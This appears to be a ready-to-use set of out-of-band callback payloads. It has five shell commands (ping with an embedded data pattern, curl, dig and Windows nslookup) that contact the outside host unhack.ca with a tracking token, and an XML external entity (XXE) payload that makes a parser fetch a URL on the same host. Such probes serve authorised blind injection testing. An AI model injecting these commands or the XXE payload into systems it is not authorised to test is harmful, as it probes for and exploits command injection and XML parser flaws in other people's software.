$ ping -c1 -p 00933affa0aba0dde62a53ab2e01a800 unhack.ca
$ curl http://unhack.ca/p/933affa0aba0dde62a53ab2e01a8
$ dig 933affa0aba0dde62a53ab2e01a8 @unhack.ca
$ dig 933affa0aba0dde62a53ab2e01a8.ns.unhack.ca
C:\> nslookup 933affa0aba0dde62a53ab2e01a8 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/933affa0aba0dde62a53ab2e01a8">]> <foo>&xxe;</foo>